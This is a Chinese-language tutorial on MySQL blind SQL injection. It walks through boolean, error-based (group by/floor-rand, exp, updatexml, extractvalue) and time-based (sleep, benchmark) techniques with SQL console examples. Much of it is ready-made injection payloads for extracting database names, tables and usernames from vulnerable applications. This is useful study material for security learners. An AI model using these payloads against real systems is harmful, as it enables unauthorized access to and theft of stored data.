mysql盲注总结


本章概述:本文的内容主要是对mysql盲注的总结


1、盲注概念

盲注的概念:盲注不同于联合注入等可以回显数据的注入。在 sql 注入过程中,sql 语句执行完成后,这些数据不能回显到前端页面,这种情况下我们不能通过页面的响应来直接得到我们想要的数据。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注分为三类:布尔盲注,时间盲注,报错盲注

2、布尔注入

布尔注入的核心思想是构造逻辑判断语句,利用对错、是否、0和1等具有逻辑性的组合来判断我们想要的数据是否存在或是否正确。

常用函数有left(),mid(),substr(),ord()

left(string, n):string为要截取的字符串,n为长度。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select left(database(),1)='w';
//猜数据库名字的第一个字母,错误返回0
+------------------------+
| left(database(),1)='w' |
+------------------------+
| 0 |
+------------------------+

select left(database(),1)='s';
//猜数据库名字的第一个字母,正确返回1
+------------------------+
| left(database(),1)='s' |
+------------------------+
| 1 |
+------------------------+

ord(string):返回字符串的ASCII代码

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select ord('s');
//查询字母s的ASCII代码
+----------+
| ord('s') |
+----------+
| 115 |
+----------+

select ord(left(database(),1))=115;
//结合left()函数,查询数据库第一个字母的ASCII代码是否为115
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
| 1 |
+-----------------------------+

mid(string, start,[length]):截取字符串的一部分,start为开始位置,length为截取的长度,可省略。

例如:

1
2
3
4
5
6
select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
| 1 |
+-------------------------+

substr()和mid()函数实现的功能是一样的。另外还有一个substring()函数,也是一样的功能。

跟ord()函数作用一致的还有ascii()函数

上述函数在注入的时候只需要把string改成我们构造的语句就可以了。

例如:

1
2
3
4
5
6
7
select substr((select table_name from information_schema.tables where  table_schema=database() limit 0,1),1,1)='s';
+-------------------------------------------------------------------------------------------------------------+
//将substr中string的内容换成我们构造的SQL语句,我们就可以得到我们想要的,像这个语句中,我们就可以知道,当前数据库的第一个表名的第一个字符不为s
| substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s' |
+-------------------------------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------------------------------+

此外,我们还可以用正则匹配注入以及like注入

regexp正则注入

其中可以使用的正则表达式字符有以下这些

字符 描述
$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
( ) 标记一个子表达式的开始和结束位置。表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。
* 匹配前面的子表达式一次或多次。要匹配 * 字符,请使用 \*。
. 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。
[ 标记一个中括号表达式的开始。要匹配 [,请使用 \[。
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。
\ 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, ‘n’ 匹配字符 ‘n’。’\n’ 匹配换行符。序列 ‘\\‘ 匹配 “\“,而 ‘\(‘ 则匹配 “(“。
{ 标记限定符表达式的开始。要匹配 {,请使用 \{。
| 指明两项之间的一个选择。要匹配|,请使用\|
^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,当该符号在方括号[ ]表达式中使用时,表示不接受该方括号表达式中的字符集合。要匹配 ^ 字符本身,请使用 \^。

限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 * 或 +或 ?或 {n}或 {n,} 或 {n,m}共6种。

正则表达式的限定符有:

字符 描述
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。
匹配前面的子表达式零次或一次。例如,”do(es)?” 可以匹配 “do” 、 “does” 中的 “does” 、 “doxy” 中的 “do” 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,’o{2}’ 不能匹配 “Bob” 中的 ‘o’,但是能匹配 “food” 中的两个 o。
{n,} n 是一个非负整数。至少匹配n 次。例如,’o{2,}’ 不能匹配 “Bob” 中的 ‘o’,但能匹配 “foooood” 中的所有 o。’o{1,}’ 等价于 ‘o+’。’o{0,}’ 则等价于 ‘o*’。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,”o{1,3}” 将匹配 “fooooood” 中的前三个 o。’o{0,1}’ 等价于 ‘o?’。请注意在逗号和两个数之间不能有空格。

regexp ‘^[a-z]’表示匹配开头为小写字母的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内
// 判断第一个表名的第一个字符是否是a-z中的字符,其中security是假设已知的库名。
select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
// 判断第一个表名的第一个字符是否是a-n中的字符
select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-n]' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

// 判断第一个表名的第一个字符是否是f-n中的字符
select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[f-n]' limit 0,1;
Empty set (0.00 sec)

//确定该字符为'e'
select 1 from information_schema.tables where table_schema='security' and table_name regexp '^e' limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

因此由上面可以得出正则匹配的payload可以为:

1
1' and 1=select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-n]' limit 0,1#

like匹配注入

常用的匹配符有:%,_,escape

% 匹配0个或任意多个字符;

_ 匹配任意一个字符;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
select database() like 'se%';
//%放在后面表示匹配开头为se
+-----------------------+
| database() like 'se%' |
+-----------------------+
| 1 |
+-----------------------+


select database() like '%se';
//%放在前面表示匹配结尾为se
+-----------------------+
| database() like '%se' |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (0.00 sec)

select database() like '%se%';
//%放在前后表示匹配中间为se
+------------------------+
| database() like '%se%' |
+------------------------+
| 1 |
+------------------------+


select database() like 'se______';
//_表示匹配开头为se,剩下的字符用_表示
+----------------------------+
| database() like 'se______' |
+----------------------------+
| 1 |
+----------------------------+

基于布尔盲注的payload大概有以下这些:

1
2
3
4
5
6
7
8
9
' or Length(database()) <8#

' or ascii(mid(database(),1,1)) =ascii('d')#

' union select 1,ord(substr(database(),1,1))=ascii('d')#

1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-n]' limit 0,1)#

' or select 1,(select database() like '%se')#

等等

3、报错注入

基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有group by报错、exp报错、updatexml报错、extractvalue报错

group by报错

count():返回匹配指定条件的行数。

1
2
3
4
5
6
select count(*) from emails;
+----------+
| count(*) |
+----------+
| 8 |
+----------+

floor():产生小于或等于指定值(value)的最小整数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select floor(1.9);
+------------+
| floor(1.9) |
+------------+
| 1 |
+------------+


select floor(1.1);
+------------+
| floor(1.1) |
+------------+
| 1 |
+------------+

rand():随机产生0和1之间的浮点数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

select rand(1);
+---------------------+
| rand(1) |
+---------------------+
| 0.40540353712197724 |
+---------------------+

我们可以看一下下面的这条语句,报错显示user为root@localhost

1
2
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
ERROR 1062 (23000): Duplicate entry '::root@localhost::1' for key 'group_key'

首先,在上面这个语句中,rand()产生的是伪随机数,实际上每次结果出来都是一致的。

floor()会返回一个小于或等于传入参数的最大整数,相当于把小数部分截取掉。

1
2
3
4
5
6
7
8
9
10
11
select floor(rand(0)*2) from information_schema.schemata;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+

floor(rand(0)*2)这个表达式会让information_schema.schemata数据表内的每行数据随机产生不同的结果。

concat()函数是将字符串拼接起来的一个函数,0x3a是冒号的ascii代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
select concat(0x3a,(select user()),0x3a,floor(rand(0)*2));
+----------------------------------------------------+
| concat(0x3a,(select user()),0x3a,floor(rand(0)*2)) |
+----------------------------------------------------+
| :root@localhost:0 |
+----------------------------------------------------+

select concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a;
+-------------------+
| a |
+-------------------+
| :root@localhost:0 |
+-------------------+

group by是进行分组的,group by a指按照a的规则进行分组,这里的a指的就是concat里面的一整串语句,比如concat(0x3a,(select user()),0x3a,floor(rand(0)*2))。在进行分组的时候,mysql会建立一张临时表用于分组,在查询到新的键不在临时表中时,就会将其插入表,a为临时表的主键,也就是说这个主键是不能重复的。而我们在对floor(rand(0)*2))对information_schema.schemata会发现,在这个表中数据大于三行时,肯定会发生重复的情况,也就会导致group by报错,为了满足数据大于三行的条件,我们一般选择information_schema.columns这个数据表。这就是group by的报错。

因此我们的payload可以为:

1
2
1' union select null,count(*),concat((select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
//(select database())改成我们想要得到的数据语句即可

exp报错对版本要求太高,一般不会使用

exp()函数返回e(自然对数的底)的x次方的值,比如exp(2)即返回e的二次方,常量e为一个无穷数,约为2.71828

当x数字过大的时候,就会造成exp溢出,引起溢出错误。

1
2
3
4
5
6
7
8
9
10
11
select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
//当大于709时,就会引起溢出错误。

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0,因此我们可以利用按位取反来造成exp报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

select ~(select user());
+----------------------+
| ~(select user()) |
+----------------------+
| 18446744073709551615 |
+----------------------+

因此我们可以利用以下这个语句来注出用户名

1
select exp(~(select*from(select user())x));

将select user()改成我们想要的语句即可。由于exp报错要求的版本太高,因此一般也不会用到。

updatexml报错

updatexml是XPath的语法,其实也可以叫做XPath语法报错

updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值

XPath语法报错的是特殊字符,即遇到特殊字符就会报错,这里我们选择的是0x7e,即~这个字符

1
2
3
4
5
select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~'

select updatexml(1,concat(0x7e,substr((select database()),1,5),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'

必要时要使用substr函数进行搭配使用。

注入的payload:

1
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

extractvalue报错:跟updatexml一样。

1
1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))#

4、时间注入

延时注入常用的函数有sleep()和benchmark(),以及if函数

if语句:

1
if(expr1,expr2,expr3)//expr1结果为true则执行expr2,否则执行expr3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select if(substr(user(),1,1)='r',3,2);
+--------------------------------+
| if(substr(user(),1,1)='r',3,2) |
+--------------------------------+
| 3 |
+--------------------------------+
1 row in set (0.00 sec)

select if(substr(user(),1,1)='r',sleep(5),2);
+---------------------------------------+
| if(substr(user(),1,1)='r',sleep(5),2) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set (5.00 sec)

sleep()函数:以秒为单位,休眠多少秒后执行。报错情况下则不延时。一般配合if语句及其他函数一起使用。

payload:

1
2
1' and sleep(5) %23 //判断注入类型
1' and select if((ord(substr(database(),1,1))=ascii(‘a’)),sleep(5),1)#

benchmark(count,expr)函数:对expr执行count次

1
2
3
4
5
6
7
select benchmark(5,sleep(1));
+-----------------------+
| benchmark(5,sleep(1)) |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (5.00 sec)

一般也是配合if语句使用。

总结:盲注在注入的时候是比较费时间的,因为只能以猜测的方式去进行注入,关于盲注的一些总结则在上面已经讲完了,详细的payload我就不讲了,大家根据函数的意思搭配使用就完事了。